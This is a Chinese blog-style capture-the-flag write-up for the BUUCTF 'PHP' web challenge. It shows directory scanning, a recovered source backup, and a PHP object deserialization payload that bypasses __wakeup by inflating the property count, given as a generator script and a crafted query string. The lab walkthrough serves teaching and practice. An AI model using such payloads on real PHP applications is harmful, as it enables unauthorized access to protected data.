buuctf-web PHP 1

启动靶机,打开环境,

 这个网页写的还真不错,真想白嫖

好言归正传,拿到这个网页后,根据提示利用dirsearch-master扫一下目录,这个工具可以去github上下载一手

打开dos窗口,然后用dirsearch.py "url" -e*命令扫一下目录

 然后发现了www.zip,然后下载下来。解压压缩包

 发现这里面有几个php文件,我一看,有个flag.php,我打开一手,完了提交,呵呵,我就知道没那么简单,好了,看看其他的php文件先看了看index.php,

 根据这段代码,还有一个class.php,之后 是要给select一个值,上传,完了还需要构造一个反序列才可以。

那我们还是先看看class.php,我把它给copy下来

 1 <?php
 2 include 'flag.php';
 3 
 4 
 5 error_reporting(0);
 6 
 7 
 8 class Name{
 9     private $username = 'nonono';
10     private $password = 'yesyes';
11 
12     public function __construct($username,$password){
13         $this->username = $username;
14         $this->password = $password;
15     }
16 
17     function __wakeup(){
18         $this->username = 'guest';
19     }
20 
21     function __destruct(){
22         if ($this->password != 100) {
23             echo "</br>NO!!!hacker!!!</br>";
24             echo "You name is: ";
25             echo $this->username;echo "</br>";
26             echo "You password is: ";
27             echo $this->password;echo "</br>";
28             die();
29         }
30         if ($this->username === 'admin') {
31             global $flag;
32             echo $flag;
33         }else{
34             echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
35             die();
36 
37             
38         }
39     }
40 }
41 ?>

根据代码的意思,我们可以发现如果username=admin      password=100然后我们再执行__destruct()时可以获得flag

那接下来我们可以构造反序列Pyload了

<?php
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
 
?>

然后跑一下这个脚本,可以获得反序列化后的数据:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

 我以为这就成功了,可是,却还是没有成功。

百度了一手,才得知,反序列化的话它是会直接执行_wake up()这个魔术方法的。那我们就要想办法让这个反序列绕过_wake up()执行__destruct()

而在反序列化里,当前属性个数大于实际属性个数的时候,它就会直接绕过_wake up()从而执行__destruct()的。然后我们修改一下pyload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

这就好了吧。

 哈哈哈,成功了

开森!!!

 1 <?php
 2 include 'flag.php';
 3 
 4 
 5 error_reporting(0);
 6 
 7 
 8 class Name{
 9     private $username = 'nonono';
10     private $password = 'yesyes';
11 
12     public function __construct($username,$password){
13         $this->username = $username;
14         $this->password = $password;
15     }
16 
17     function __wakeup(){
18         $this->username = 'guest';
19     }
20 
21     function __destruct(){
22         if ($this->password != 100) {
23             echo "</br>NO!!!hacker!!!</br>";
24             echo "You name is: ";
25             echo $this->username;echo "</br>";
26             echo "You password is: ";
27             echo $this->password;echo "</br>";
28             die();
29         }
30         if ($this->username === 'admin') {
31             global $flag;
32             echo $flag;
33         }else{
34             echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
35             die();
36 
37             
38         }
39
原文地址:https://www.cnblogs.com/awsole/p/13823603.html